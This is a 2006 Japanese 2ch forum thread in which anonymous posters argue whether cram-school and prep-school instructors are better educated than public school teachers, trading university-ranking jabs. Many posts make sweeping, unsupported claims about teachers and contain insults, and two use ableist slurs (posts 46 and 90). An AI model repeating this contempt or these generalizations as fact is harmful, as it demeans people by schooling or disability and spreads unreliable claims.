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【学力】塾講師>>>学校教師【学歴】

1 :実習生さん:2006/10/06(金) 00:03:55 ID:PHct3qL1
塾講師が安定した職でないのに比べて、
確かに学校教師は安定して社会的地位も高いのかもしれない。
しかし、塾講師が高学歴がバイトでやるものに対し、
学校教師は低学歴・中学歴が必死こいて
教員採用試験突破してなるもの。
どちらが学力・学歴の面で上かは言うまでもないだろう。
学校教師はアホが多すぎる。

2 :実習生さん:2006/10/06(金) 00:11:18 ID:8hY5YYPc
初の携帯から2ゲロ

3 :実習生さん:2006/10/06(金) 00:12:24 ID:PEx1dSFt
社員同士で比べなくていいの?

4 :実習生さん:2006/10/06(金) 00:17:30 ID:cSeyaFrl
>>3
塾講師はいくつかの大手塾を除き、管理的地位に就かない限り、
バイトが基本だから。
高学歴バイト塾講師は、低学歴学校教師を見下してるよ。

5 :1・4へ:2006/10/09(月) 20:39:20 ID:Z6MSg0Gx
 何を基準に書いているのか知りませんが適当なこと書かないほうがいいですよ。
「塾→教師」という人も結構知っていますし、高学歴の方も結構います。逆に塾講師でも
低学歴(あまりいい言い方ではないように思いますが…)の方も結構います。少なくとも
私の周りには学歴という観点で学校の教師を見下しているような人はいません。塾講師の
世界自体が学歴よりも指導力の世界ですから学歴というものさしでどうこうという見方は
しないですね。東大出てようが、何だろうが成績上げられなければ意味のない世界です。
 また、学校と塾では仕事の質があきらかに違うでしょう。そんなこともわからないので
すか。またバイト講師が多いのは塾講師を本職にしないためです。例えば司法浪人中、
オーバードクター(特に文系)、それこそ教職浪人の方が多いです。かくいう私も塾講師
→予備校講師という人生をたどっています。ちなみに予備校講師でも日大や国学院を出て
立派にがんばっておられる方も多いですよ。おそらく世の中を知らない子供の書き込みだ
とは思いますが、不愉快ですから背伸びは止めてほしいですね。

6 :実習生さん:2006/10/09(月) 23:25:25 ID:NSfv7vvz
>>5
んなことわかっとるわ。
代ゼミの武井親子は立正大卒で東大地理教えてる。
英語の富田は東大卒、日本史の八柏は慶応卒、伊達は中央院卒。
しかし彼らは例外的な存在だし、大衆的予備校の代ゼミだからこそでもある。
鉄緑やSEGなんて東大ばっかだぞ?

まあそんなことはともかく、この板を見て、
あまりに学校教師に知識がなさ過ぎるので、呆れただけ。
それがこのスレを立てた理由。

7 :5:2006/10/11(水) 00:32:31 ID:kcnOHHrf
>>6
君はほんとにくだらん人だね。もう相手にするつもりもないので
激昂して恥をさらさぬように…。見苦しいですから。

8 :実習生さん:2006/10/11(水) 05:58:51 ID:KgxMbjW1
>>1
一度塾講師の面接でも受けてから語ってください
君が無知ですから

9 :実習生さん:2006/10/13(金) 10:08:32 ID:OTjNes+j
小学校教師=100%低学歴
中学校教師=100%低学歴
高校教師=1割くらいは旧帝クラスもいる。残りの90%は低学歴

結論、教師は低学歴。

10 :実習生さん:2006/10/13(金) 11:20:00 ID:445W5Q27
低学歴ってどの位のレベルですか?

MARCH・ 関関同立レベルからですか?

11 :実習生さん:2006/10/13(金) 11:24:33 ID:gy/ZvNvf
お馬鹿な学歴板では早慶以下は低学歴ってことになってるらしいよ

12 :実習生さん:2006/10/13(金) 12:07:05 ID:445W5Q27
なるほどー

13 :実習生さん:2006/10/13(金) 13:05:41 ID:u1KXVwVa
>>8
東大だったのでフリーパスで採用されましたが何か?

14 :あほの相手:2006/10/13(金) 20:53:30 ID:WVyFpLWt
>>9
論拠は何?感情に任せた馬鹿な書き込みは君の精神年齢の低さを露呈するだけですよ。

15 :実習生さん:2006/10/13(金) 21:21:49 ID:G0hInLsI
やはり近年の採用数の増加に伴い質の悪い人間が教師になっていることと
40〜50代のでもしか が現場を腐らせている。

教員採用試験や免許更新で教師の資格のハードルはもっと高くするべし
以下の条件をすべて満たした人物しか教壇に立ってはいけないと思う。

1旧帝院卒相当の学識を持っている
2どんな個性の生徒もひきつけられるカリスマ性をもっている
3生徒・親・同僚・管理職誰からも100%信頼される人間性をもっている
4「この人でなければならない」と周りが思う真のonly oneたる資質をもつ
5どんな場面にも冷静かつ的確に対処できる頭の回転の速さを持ち合わせている
6職務に忠誠心をもった勤勉家であること
7使命のため自らの命を投げ出す程のどんなリスクも苦にしない自己犠牲愛のあふれるひと
824時間常に生徒指導にできる体制をとり、夜中2時に呼び出されることも苦にしない人
9給料は月10万程度ボーナス無しでも不平を言わない人 かつその給料すべてを教材研究に捧げる人

以上1つでも欠けている人は教師には向かないと思うし教師とは呼びたくない。
当然すべての条件を満たして最低ラインクリア だろう
採用試験も今現職にいる教師もよくその資質を 調べて1つでも欠けていたら
指導力不足教員に認定するか分限免職にするべき


16 :実習生さん:2006/10/13(金) 21:46:08 ID:747fijOE
>>1 それをいうなら  【社会人】塾講師>>>学校教師【生活保護者orヒモ】   とでもすべきだ。

17 :ふーん:2006/10/13(金) 23:02:45 ID:WVyFpLWt
>>15
知ってる限りの知識並べたって感じで笑えますね。大体この基準誰が判断するの?
こんな基準で教師選んでたら学校運営成り立たないよ。これを2ちゃん以外の現実
世界で訴えてごらん。笑われるだけですよ。

18 :実習生さん:2006/10/14(土) 00:34:45 ID:Pn7JrXQ2
小学校の教師はFランク出身。
Fランクか、駅弁でしか小学校の教員免許は取れない。

19 :えれくち王 ◆Nk0j1Ogru. :2006/10/14(土) 08:56:02 ID:515Gk/Mf
塾講師は、小中学生の《学校での悩み・不満》を聞かされて、
それで何やら教師は愚劣だと思ったりと、義憤に駆られることが多いのだろうね。
自分も学生アルバイトで塾の時間講師やってたころ、
小中学生にいろいろ聞かされて、そんなバカなことが学校で起きているのかと思ったものだもの。

20 :実習生さん:2006/10/14(土) 19:09:53 ID:VDdMx7Tz
>>18
駅弁(大半が偏差値50を超えてる)とFラン(私大模試でさえ偏差値40以下)を同列に語るなよw

21 :実習生さん:2006/10/14(土) 19:52:36 ID:Pn7JrXQ2
>>20
旧帝一工から見たら同じ
どっちもカス

22 :実習生さん:2006/10/14(土) 19:56:30 ID:BL0hOHgI
>>21は旧帝一工ではない。

23 :実習生さん:2006/10/14(土) 22:39:34 ID:FBAuJIPJ
>>5-6
高学歴で「本職で」塾講や塾屋自営やってるのは少数だね。
相当の特殊事情のある奴か相当の変人。
学部はマーチ・駅弁以下の中低学歴が多い。

>>9
100%は言いすぎだが、そういう傾向はあるね。

生徒などが意外とわかってないのは、高校以下のメイン教科である
英数国地歴などは大学ではマイナーな分野だということ。

教育学部などは教員免許の取得を前提にしているところが多いが、
一般大学で免許を取ろうと思うと、英語なら英語英文専攻、
数学なら理学部数学科が普通。独文や仏文なんかでも英語の教免取るのは大変。
工学部なら工業科の免許が普通。

旧帝などの法学部や経済学部、工学部などを出て
中高の教員になるなんていうのはそもそも社会から期待されていない。

塾講あたりだと経済なんか出て英語教えたりしているのが大半だが、
ごく一部の者を除けば実用や学問で通用する英語のレベルには程遠い奴が多い。
ドクター退学で塾講やってる奴なんて、自分がやってきた専門はまったく生かせないw
(担当教科を専門にやってきた奴は別だが)

まぁこの板見てて思うのは、教師にいろいろ「求めすぎる」奴が多すぎw
教師がカスだと思うなら、足りない部分は「自分で」補え。
小学生じゃないんだから。


24 :実習生さん:2006/10/15(日) 04:06:06 ID:r/4BfD4m
教師の教える科目は、
体育、音楽、美術、家庭科、総合的学習
だけでよい

25 :実習生さん:2006/10/15(日) 08:21:11 ID:yJMzgrog
>>21
実際、高校の教壇に立ってしまうと、
東大卒だとか山形大卒だとかいうのは、
教科指導の面であまり問題にならない。

つか、普通に大学教育を受けた大人だったら、
自分の専門教科はかなりのところまで教えられると思うのだが。

世間の人たちは、本当に高校教師の実力を侮りすぎ。
18歳時の学力がピークで、大学入学後は学力が劣化するという考えがあるから、
学校歴至上主義に陥るのだね。

26 :ぎんぱち:2006/10/15(日) 08:37:46 ID:6sX9X9ne
俺んとこにいた東大文卒の教員は教え方は並だったけど、
雑談が面白くてさすが東大というカンジだった。
でも受験指導じゃ学習院卒の予備校講師のほうが上、
なんてことはよくある話。塾講師と学校の教員は役割からして違う。
学歴の威光は前者のほうが力発揮するというだけ。

27 :実習生さん:2006/10/16(月) 23:35:18 ID:9RNtr3La
俺の出身高校は、東大院卒医学部再受験して30過ぎまで学生だった先生がいた。
アカポス崩れなんだろうが、東大ってだけで採用してる感じだった。

28 :実習生さん:2006/10/17(火) 00:25:51 ID:JP5/XjCs
>>15
誰もならんわ。小卒にでも教えてもらえ。

29 :実習生さん:2006/10/17(火) 01:31:15 ID:suL2dXjh
低学歴教師は道徳でも担当したら?
あとは塾に任せろよ

30 :実習生さん:2006/10/17(火) 06:18:32 ID:LIASb8gC
>>9
論拠は某県の教職員名簿から。
全教師の住所・名前・最終学歴が載っている冊子が存在するのは知っていますか?

>>25
教えられないよ。山形大の英語教師とか構文分析もできないようなのばっかでしょ。
文法にしても覚えろの一言のみ。
例えばshallの多数の意味とか、分詞構文の5つくらいの意味とかこんなの丸暗記していったら
どこかでパンクしちゃうよ。

31 :実習生さん:2006/10/17(火) 06:19:35 ID:LIASb8gC
>>9

>>15
の人向けね。

32 :実習生さん:2006/10/17(火) 06:20:22 ID:LIASb8gC
>>14
でした。

33 :実習生さん:2006/10/17(火) 07:30:27 ID:0tbRvMmR
>>30
>教えられないよ。山形大の英語教師とか構文分析もできないようなのばっかでしょ。
>文法にしても覚えろの一言のみ。
>例えばshallの多数の意味とか、分詞構文の5つくらいの意味とかこんなの丸暗記していったら
>どこかでパンクしちゃうよ。

あんたの学校のレベルに合わせて、
細かく教えても無駄だと思っていたからじゃないの?


34 :実習生さん:2006/10/17(火) 23:07:13 ID:Me4Logdl
>>33

言っている意味わかんない?ただ訳言うだけしか能が無いってこと。
低学歴教師を馬鹿にしているんだから一応弩田舎県で一番の自称進学高だったよ。


35 :実習生さん:2006/10/17(火) 23:53:56 ID:cYbic/V4
俺の今までの経験からすると、導入とかは確実に塾のほうが分かりやすいな。
まぁ教科に熟知してるのは大前提だけども、分かりやすく教えられるかは学歴じゃないと思う。
やる気とか熱意がまず学校教員には欠けてるから、到底塾にはかなわない。

36 :実習生さん:2006/10/17(火) 23:56:46 ID:vD7OkAKT
このスレ面白いね。同期は国家公務員や1流企業に就職し、落ちこぼれて塾講やっているアフォー
たちなのにエリートぶっちゃってブッ!同窓会に行くと「オマエ塾かよ」と言われ、背中を丸めて
いる君。

37 :実習生さん:2006/10/18(水) 00:06:59 ID:AXAFHTRi
と、大東亜帝国出身の教師が申しております

38 :実習生さん:2006/10/18(水) 00:27:57 ID:vlOIfu6h
筑波大ですけど何か

39 :実習生さん:2006/10/18(水) 00:57:38 ID:vlOIfu6h
あれっ。高学歴塾講さん、敵前逃亡?専門的知識でも教授法でも論破できるなら
かかってきてください。国公立教師もいろいろですから。口先だけでなく、塾講
の実力とやらを見せてもらいましょう。

40 :実習生さん:2006/10/18(水) 01:09:57 ID:AXAFHTRi
筑波で自慢ってワロス
筑波って就職悪くて教師にしかなれないところだろw
旧帝教育学部は誰も教員になりたがらないことを
ご存知?

41 :実習生さん:2006/10/18(水) 01:34:54 ID:rJjhUZeK
いくら何でも筑波はないと思う。
よく口に出せるな…

42 :実習生さん:2006/10/18(水) 02:05:26 ID:L0JfcXbR
>>40
そこで旧帝教育学部が出てくる時点で無知すぎるだろ

43 :実習生さん:2006/10/18(水) 03:49:59 ID:4WNLRzXL
塾板のコテ

超ベテ・・・駅弁工学部
本努・・・・宮廷工学部
いんす・・・???
貧乏父さん・・・早稲田
など
高学歴崩れかな


44 :実習生さん:2006/10/18(水) 04:15:18 ID:0uGeU7PW
>>43
インス(現在はINSに変更)は低学歴。
だいたいこいつの書き込み見れば軽薄そのものw

「塾の春夏秋冬」
ttp://school5.2ch.net/test/read.cgi/juku/1137454362/

295 :超ベテラン :2006/01/28(土) 15:57:37 ID:9KL64Xct0
インス君の学歴はそうとうなもんでしょ?
旧帝か早慶か、、、だろうねえ。

297 :インストラクター:2006/01/28(土) 16:21:25 ID:03SxGXxQ0
なるほど。どっちでもないですよ。
二流ですよ。みなさんの方がはるかに上です。

311 :インストラクター:2006/01/29(日) 16:00:32 ID:M80uYupi0
>310
数学は中学レベルなのでムリです。すみません。


貧乏倒産(現在は風来老人に変更)は未確定。
本人が早稲田と言ったことはないんじゃない?


45 :実習生さん:2006/10/18(水) 08:24:37 ID:fG1gXalo
駅弁出の同僚にかこまれて
「〜くん筑波大出てるんだって?賢いねぇ」
と言われて悦に浸っているんだろうなw

>>39

じゃ、とりあえず「教授法」から。
英語の be to 不定詞 の意味は?
これくらい筑波でも解けるよね。

46 :実習生さん:2006/10/18(水) 12:26:43 ID:bjGDUvCO
>>30
例えばshallの多数の意味とか、分詞構文の5つくらいの意味とかこんなの丸暗記していったらどこかでパンクしちゃうよ。
お前みたいな知障は教師を非難する資格はない。

47 :実習生さん:2006/10/18(水) 13:06:09 ID:B+MQ+VFc
貧乏父さん  高校英語もやってないから
3流大学  文系だな   気取りやだ。

48 :実習生さん:2006/10/18(水) 16:45:18 ID:9rSSBBIX
>>45
横レスだけど
>英語の be to 不定詞 の意味は?
これ俺の高1の参考書にも載ってるよ

49 :実習生さん:2006/10/18(水) 18:13:59 ID:MhKUyfo/
>>15

それ俺だ。1〜8まで当てはまる。

高給が欲しいのと、小中学生と付き合いたいから
教師にはならなかったけど。

50 :実習生さん:2006/10/18(水) 18:27:37 ID:tLUz97q2
学力にこだわる塾講師スレには青二才が多そうだな。

早く安定した仕事みつけて、細君をもらいたまえ。

51 :実習生さん:2006/10/18(水) 23:03:45 ID:q9d2i5Mo
現役予備校生から言わせてもらえば公立中高の教師と比べると予備校講師は神。
もちろん予備校講師にもクソなのはいるが

予備校講師の中堅クラス>>学校教師の上位クラス

マジで学校教師は勉強しる。

52 :実習生さん:2006/10/18(水) 23:09:14 ID:kAq0FCg4
>>45
>駅弁出の同僚にかこまれて
>「〜くん筑波大出てるんだって?賢いねぇ」
>と言われて悦に浸っているんだろうなw
その状況考えたらメチャクチャ笑える

53 :実習生さん:2006/10/19(木) 01:06:39 ID:QZuWJPsf
>>39
専門的知識を持ってる筑波卒教員なんか存在するのか。
ビックリしたわ。
お前の専門晒したら、俺が徹底的に論破してやるのでヨロシク。

54 :実習生さん:2006/10/19(木) 09:11:52 ID:OFwY2Tsu
>>46
>>48

意味を羅列して単に丸暗記しろと言っているわけではないですよ。
shall
1人称:強い意志
2人称:SにVさせるつもりだ(真の主語は文脈からw)
3人称:SにVさせるつもりだ(真の主語は文脈からw)
法律・聖書・看板等でも用いられる

こういうのを1つの概念から説明できるように教えれば頭に残るでしょ?


55 :実習生さん:2006/10/19(木) 16:30:54 ID:ZAxd1jcR
あらゆる専門知識に対応できる>>53を尊敬する

56 :実習生さん:2006/10/19(木) 16:33:03 ID:Z7t++L+1
米倉涼子さんが生放送中に放屁、脱糞の可能性も
http://news20.2ch.net/test/read.cgi/news/1160977310/

57 :実習生さん:2006/10/19(木) 21:22:41 ID:WtD7n3Sf
筑波出身者を10人ほど知ってるが、
その範囲で言えば印象は「・・・」って感じだ。
なんでだろ?

58 :実習生さん:2006/10/19(木) 21:31:13 ID:UoMEHJQK
まずはおまいの学生証さらせ^-^

59 :実習生さん:2006/10/19(木) 22:03:01 ID:WtD7n3Sf
京大でつ

60 :実習生さん:2006/10/19(木) 22:18:13 ID:UoMEHJQK
学生証さらせ^ー^

61 :実習生さん:2006/10/19(木) 22:57:45 ID:QZuWJPsf
東大はいないのか?
いたら詐称喚問してやるわ。
俺が東大だからな。

62 :実習生さん:2006/10/19(木) 23:16:44 ID:EbPZ2LA8
↑カコワルイw

63 :実習生さん:2006/10/19(木) 23:18:10 ID:8bdMmz4S
脳内厨房ばかりのスレ

64 :実習生さん:2006/10/19(木) 23:20:36 ID:aTQvn1aF
俺、大学は専修だけど、大学院は東大だよ。

65 :実習生さん:2006/10/19(木) 23:33:19 ID:QZuWJPsf
>>64
赤門を出てから本三までにある居酒屋を3つ答えよ。

66 :実習生さん:2006/10/20(金) 02:46:25 ID:SbTcd+ug
なんだよ答えられないのか
詐称だな

67 :実習生さん:2006/10/20(金) 04:56:43 ID:FmlOow1M
歴然だな

68 :実習生さん:2006/10/21(土) 13:50:03 ID:ekYF4+gG
こんなブログ発見したけどホントにそうなの?(´・ω・`)

「勘弁して欲しい。
最近、テレビのニュースを聞いていると、教員の不祥事
という言葉をよく耳にします。
事件はそれぞれでしたが、そのほとんどが講師の方なんですね。」
ttp://ameblo.jp/servlet/TBInterface/10015264279/115858af

プロフ
中学校教師になりたくて転職した日々生徒と戦っている現場の教員です。

69 :INS:2006/10/21(土) 14:27:41 ID:WsbWPHsb
>>44
お前こんなとこで
 グチこぼしてんのか?
 情けねえ。
 グダグダ言うヒマあったら
 独立でもなんでもしろや。
 できねえくせに・・・。
 しかし、お前のしつこさには呆れるよ。

70 :実習生さん:2006/10/22(日) 06:38:56 ID:fpkP7o8g
筑波くんさぁ

shallの多数の意味とか
分詞構文の5つくらいの意味
be to 不定詞の意味

どれでもいいから体系的に解説して見せてくれよぉwwww
まさか丸暗記しろなんて教えてないよねwwww
他の科目でもいいからエレガントに概念から教えてくれよぉwwww

71 :実習生さん:2006/10/22(日) 14:30:13 ID:shuKg+SU
筑波程度では理解できんだろ。

分詞構文には逆接があって…、
be to 構文は意思も表す。
will は未来形です。

インチキなら誰でも言えるなw


72 :実習生さん:2006/10/22(日) 20:51:47 ID:UI3OWjVf
筑波で高学歴名乗れるなんて・・・
どれだけ教員の世界は低学歴だらけなんだよw

73 :実習生さん:2006/10/22(日) 21:42:49 ID:gw9aNOZg
筑波でも低学歴か高学歴か二つに分ければ高学歴の方だろw

74 :実習生さん:2006/10/22(日) 21:45:50 ID:L0O5SeXs
それは辛辣なイヤミだな。

75 :えれくち王 ◆Nk0j1Ogru. :2006/10/22(日) 21:52:48 ID:Gg0wyKdL
これはこのスレに限ったことではなく、一般的に言えることだが、
英語に自信がある奴は、大抵イヤミな性格をしているということだ。

76 :えれくち王 ◆Nk0j1Ogru. :2006/10/22(日) 21:54:14 ID:Gg0wyKdL
しかも英語の偏差値が上がれば上がるほど、イヤミな性格は増してくる。

英語の偏差値の高さと比べて、他の教科が低ければ低いほど、手に負えない。

77 :実習生さん:2006/10/22(日) 21:56:08 ID:DHBJ1nMv
英語音痴のひがみ

78 :えれくち王 ◆Nk0j1Ogru. :2006/10/22(日) 22:16:57 ID:Gg0wyKdL
自分の知識量を鼻にかける人物が、とりわけ英語科に多いということだ。
しかも私立大学卒に多い。

ひがみとかそういう問題ではないのだが。。。

79 :実習生さん:2006/10/22(日) 22:20:21 ID:WraCzXW1
>>78
論理的根拠が皆無の決めつけにしか聞こえない。
こういうのは性格的にどうなのだろうか?

80 :実習生さん:2006/10/22(日) 22:25:54 ID:nYUPSvtQ
英語の偏差値が上のやつほどイヤミな性格とは思わないな
(必ずしもできるわけでもないのに)英語に執着するやつほどイヤミな性格だとは思う

81 :実習生さん:2006/10/22(日) 22:31:42 ID:XPk1L1+2
英語云々は関係ない、
低学歴の僻みがウザイ

82 :実習生さん:2006/10/22(日) 22:39:47 ID:0iRGDAcB
学校教員は国立出身者が大杉w



83 :えれくち王 ◆Nk0j1Ogru. :2006/10/22(日) 22:46:14 ID:Gg0wyKdL
ああ、私立大学は、英語が達者で優秀ですなあw


84 :実習生さん:2006/10/22(日) 22:51:28 ID:XPk1L1+2
>>82
国立って名前出す奴は大抵駅弁

85 :実習生さん:2006/10/22(日) 22:57:15 ID:KdDr5e2w
>>83
あんた、性格悪いね。

86 :実習生さん:2006/10/22(日) 23:01:56 ID:AFvE8gk7
塾講師陣には、筑波大がよく理解されていないのかな?低学歴とか高学歴とか、
そのようなカテゴリーには入りません。オリンピック選手にも筑波大卒は多く
いますよ。今こそ総合大学だけれど、前身は東京高等師範学校、東京教育大学
です。建学の精神は「高度なティーチングマシン」を作ることではなく、スク
ールリーダーシップを育成するために建てられた新構想大学です。ですから、
問題解決リテラシーが待望され、教科教育や生徒指導、教育相談などあらゆる
分野の専門的知見と技能が求められます。確かに一教科の専門的知識は塾講師
の方々の方が優れているかもしれませんが、本学は既存の分野にとらわれない
学際的な「研究」が1番問われるのです。

87 :えれくち王 ◆Nk0j1Ogru. :2006/10/22(日) 23:06:08 ID:Gg0wyKdL
徹底的に嫌いなタイプの人間がいる。ただそれだけだ。

失礼。

88 :実習生さん:2006/10/22(日) 23:07:59 ID:XPk1L1+2
>>86
東京教育大は筑波大になって没落した。
ちょうど都立大が首都大になって凋落したように。
そのことは、教育大出身の代ゼミ講師土屋博英も認めるところである。

89 :実習生さん:2006/10/22(日) 23:17:47 ID:ZJTjCz41
アホなのは1
とサルでもわかることをカキコしてみる

90 :実習生さん:2006/10/22(日) 23:26:14 ID:wip7NJcp
まあ、塾講師は受験技術さえ叩きこめばいいからある意味、楽だよ。
入試問題を予想するのが仕事だからな。結局、予想屋だよ。
学校教員は受験技術だけ教えてればいいちゅうもんではないからな。
塾の場合、人間的に欠陥があっても学力さえあれば塾講師として採用されちゃうしな。
学校教員の落ちこぼれが最終的に落ち着く場所が塾講師でもあるし。
「かたわもんでもいい、欠陥があってもいい、数学さえ教える事ができれば!」という塾もあるくらいだからな。
それに塾講師の出身学部なんて教育学部ではないし、文学部・法学部などだし。
教育とは無縁。教育について、何も専門的に勉強してきちゃおらん。教育心理学なんて無用。数学だけ、英語だけ、理科だけ、
教えてればいいのが塾講師。
塾講師は教育者ではないよ。あれは、単なる入試予想屋、受験技術提供屋だよ。
教育者気取りで、教育の真似事やって自己満足にふけってる塾講師もいるようだけど、
身分は塾に雇われてる社員だよ。単なる中小企業リーマンと同レベルだよ。



91 :実習生さん:2006/10/22(日) 23:27:38 ID:TR+t5bYp
つうか、英語がまともにできるやつはあまりおらんのう。
あんたいくら、細かい文法の説明を知ったところで英語ができるようになるわけない。

・中学高校の英語の教科書の本文をCDをできるだけ真似て発音しながら、書いて全文暗記すること
・その本文の和訳をノートに書き出して、和訳を見た瞬間に口頭英訳する練習をすること

これだけで英語ペラペラ状態になって帰国と間違われますし、
受験英語なんか楽勝ですよ。




92 :実習生さん:2006/10/22(日) 23:29:57 ID:XPk1L1+2
>>90
>学校教員の落ちこぼれが最終的に落ち着く場所が塾講師でもあるし。
???
公立学校の教員は終身的に身分保障されてるから、
リストラされて塾講師になんかなったりしない。

93 :実習生さん:2006/10/22(日) 23:31:16 ID:wip7NJcp
早い話、大学受験に合格したての18、19歳のガキンチョにも、
塾講師は勤まるのよ。人生経験は全くいわず。ものをいうのは学力のみ。
受験技術のみ。現に、18,19歳のガキンチョで大手予備校の臨時講師やらせてる
とこもありまっせ。まあ、みんな大学卒業後は大手メーカーや官公庁に就職していくらしいが。
塾講師講師なんてものはその程度。たかだか高校入試、大学入試ごときで、「講師」なんちゅう気の効いた名前を
使ってるがな。たいしたことありまへ〜ん。





94 :実習生さん:2006/10/22(日) 23:35:51 ID:wip7NJcp
>>92
リストラじゃないよ。自分から辞めて行く教員が中にはいるんだよ。
「ワタクシ、ジシンガナクナリマシタ。ヤメサセテイタダキマス」な〜んていうセリフを残してな。
どうなったかって?その人、塾講師やってたよ。
笑いもんだよ、周りからな。


95 :実習生さん:2006/10/22(日) 23:36:48 ID:+kG/Li46
熟格子なんて
単に中学高校時代に
親や担任に脅されて怒られないように認められようとビクビク勉強して
なんとなく中の上くらいの成績でMARCH駅弁クラスの大学卒業したものの
就活で失敗し(脅してくれる人がいない)
社会で全く役に立たない奴らの集まりだろ

96 :実習生さん:2006/10/22(日) 23:37:39 ID:XPk1L1+2
一昔前までは教師が聖職と認識されていたが、
たかが教員免許とって採用試験受かっただけの人間が、
人格的な教育なんかできんのか?
せいぜい自分のDQN人生を披露して、
高学歴を批判することくらいしかできないんじゃないか?
実際、学校での教育がなってないから、
今の子供は塾に来ても落ち着きがなかったり、集中力がなかったりする。

97 :実習生さん:2006/10/22(日) 23:41:33 ID:wip7NJcp
>>96
それを言ったら世の中の前提が全て崩壊しちゃうぞ。
医師だって弁護士だって、資格職は全て同じだろ。
若い時は誰だって未熟なんだよ。それをプロに育てていくのも国の役目だよ。
初めから完成されたスタートを切る人間なんていないよ。
教員は未熟だ、と言うのなら全ての職業前提は崩壊するよ。


98 :実習生さん:2006/10/22(日) 23:44:36 ID:wip7NJcp
>>96
あと、子供がおかしいのは学校の責任ではない。当然。
家庭の躾がなってないんだよ。てめぇの所の家庭の躾を棚に上げ、
全てを学校のセイにするのもDQNの特徴だよ。
こんな大馬鹿が増えたおかげで、子供にしわ寄せが来てるだけ。
馬鹿親が育てれば子も馬鹿になるっていう格好の例だよ。


99 :実習生さん:2006/10/22(日) 23:45:40 ID:WTyQtOpi
学校教師の世界は想像を絶する狭さだ。
最近のイジメ隠蔽問題を考えるまでもなく、
そこには社会経験も淘汰も競争原理も存在せず、
保身とコンプレックスのみが跋扈する魑魅魍魎の世界と言っても過言ではない。
都合の悪いことは隠蔽し、教師同士のイジメもあり、
人格欠損者が多くいることは言うまでもない。

100 :実習生さん:2006/10/22(日) 23:48:41 ID:XPk1L1+2
>>97
実際、今一番不正が指摘されてるのが学校教師じゃないか。
体罰をするのも学校教師。
いじめを放置する(中にはいじめに加わってる奴もいる)のも学校教師。
援助交際するのも学校教師。
学校教師は諸悪の根源、社会のゴミ。
医者の医療ミスはヒューマンエラーだから、学校教師の不祥事とは違う。

>>98
>あと、子供がおかしいのは学校の責任ではない。当然。
>家庭の躾がなってないんだよ。てめぇの所の家庭の躾を棚に上げ、
>全てを学校のセイにするのもDQNの特徴だよ。
教師の未熟を国のせいとして棚上げしてるのはどこのどなたでしたっけ?wwww
子供の躾は学校も家庭も両方ともに責任があるんだよ。

101 :実習生さん:2006/10/22(日) 23:50:51 ID:6KVE8Ka5
【進研模試】長文問題の中に“性行為をほのめかす表現”が……さいたま市立高校PTAがベネッセに抗議【英語】
http://news18.2ch.net/test/read.cgi/news7/1155138639/l50

102 :実習生さん:2006/10/22(日) 23:54:42 ID:wip7NJcp
低次元の家庭に育ち、しかも放任主義で、な〜んにも世のマナーも、常識も教えられていない子供が
最近は多すぎだ。そしてこれを全て学校のセイにするから始末が悪い。
学校が全人格的な教育をしてくれるとでも?冗談じゃないよ。あのな、まずは家庭教育ですよ、重要なのは。
馬鹿ママさん、馬鹿パパさん、もうちっと学習しような。
学校、学校、は?甘ったれるんじゃないよ。てめぇの子供くらい、てめぇできちんと教育しろよ、てこ事だよ。

そういった教育も出来ない馬鹿親が増え、学校という他人様にてめぇの子供を預け、
えらそうな口を叩くのもいい加減にせい!って事だよ。




103 :実習生さん:2006/10/22(日) 23:56:44 ID:Unaefr4s
教師は私立の進学校にいる奴ら以外は頼りにならない馬鹿ばかり。ていうか高校生より学力が低い教師も大勢いるのが現実。

104 :実習生さん:2006/10/22(日) 23:57:17 ID:XPk1L1+2
>>102
そんな必死になってると生徒に刺されるぞ
最近の生徒は何しでかすか分からんからな

105 :実習生さん:2006/10/23(月) 00:02:24 ID:gyFsmTwt
>>102
こういう奴に限って生徒をまとめることすら出来ないナサケネー奴。

106 :実習生さん:2006/10/23(月) 00:06:13 ID:G8UcAajv
今まで黙っていた学校教師の皆さんが沈黙を破り、このスレに参加して
きたようですね。ちょっと味方が増えたかな?中教審を超えて、総理直
属の教育審議会が発足したように、今、この国では公立学校の教育シス
テムが大きな岐路に立たされています。安倍総理が公約したように、教
育バウチャー制度が取り入れられて、免許更新制度が導入されると、当
然、職を失う教師が出てくることは明白な事実です。最初に塾講師の方々
を煽ったことは反省していますが、今後は、学校教師と塾講師がどのよ
うにして「文化の伝達」を児童、生徒に果たしてあげられるのか、考えて
いきたいものです。

107 :実習生さん:2006/10/23(月) 00:53:33 ID:4zP18H/n
>>106
とりあえず新しい歴史教科書を使うのだけはやめてくれ

108 :実習生さん:2006/10/23(月) 01:06:10 ID:G8UcAajv
>>106
自由主義史観に反対なのですか?安倍総理も自民党総裁選挙時と
現在とではかなり論調を変えているように史観も歴史と共に変遷
します。塾講師の方々は大東亜戦争、アジア・太平洋戦争、第2次
世界大戦などどのように考え方を使い分けて受験指導しているので
しょうね。イデオロギーにより、見方、考え方を変えるように指導
するのかな。

109 :実習生さん:2006/10/23(月) 02:29:46 ID:BHT41mDx
教師は勉強だけを教えるのではないとか言っているけどさ
数十年も同じ教科教えていて池沼並の教授しかできないのは何なのよw
勉強も中途半端、生活指導も中途半端。
あ、進路指導も目指せ駅弁で中途半端www

110 :実習生さん:2006/10/23(月) 02:56:35 ID:4zP18H/n
>>108
基本的にはテキストに沿って教える。
ただ、政治的な問題が絡む場合、自分の解釈を織り交ぜる。
その場合でも、特定の思想を強要するのではなく、
中立的な見解を持てるように養成するような指導を行う。

111 :実習生さん:2006/10/23(月) 03:29:32 ID:zVgOGSLz
塾講師のことを云々言ってるのが教師だったらマジひくわ・・・
聖職者がそんな事言っていいのか?

112 :実習生さん:2006/10/23(月) 05:17:17 ID:+clIby+X
>>93
ところが、そのガキンチョの授業に高い金をわざわざ払ってくるほど
「プロ」教師の授業はまずいわけだろ。

とりあえず、安倍ちゃんの言う「バウチャー制」にして、市場競争を働かせないと
どうにもならんことは確かだ。

113 :実習生さん:2006/10/23(月) 10:53:39 ID:/L/j1WKV

塾教師に、予備校講師も含まれるの?
だとしたら、(町の小さい塾は別としても)絶対に予備校講師の方が知的水準高いよ。
とくに大学受験予備校の講師ね。

高校の教師なんて、TOEICで950点とったなどと幼稚なプライド持っているやつが多いけど、
でも大学受験の予備校講師は英字新聞に寄稿するくらいの連中がたくさんいる。
知的な全然ステージのケタがぜんぜん違う。
TOEICは労働者向けといわれるが、労働者には新聞への寄稿はできない。

114 :実習生さん:2006/10/23(月) 10:58:44 ID:/L/j1WKV
>>108
あんたものすごく幼稚に聞こえるよ。
予備校講師はイデオロギーがどうこうなどと「ガキくさい」思考にはとらわれていない。
もっと実践的な競争優位を常に尊重しているから。
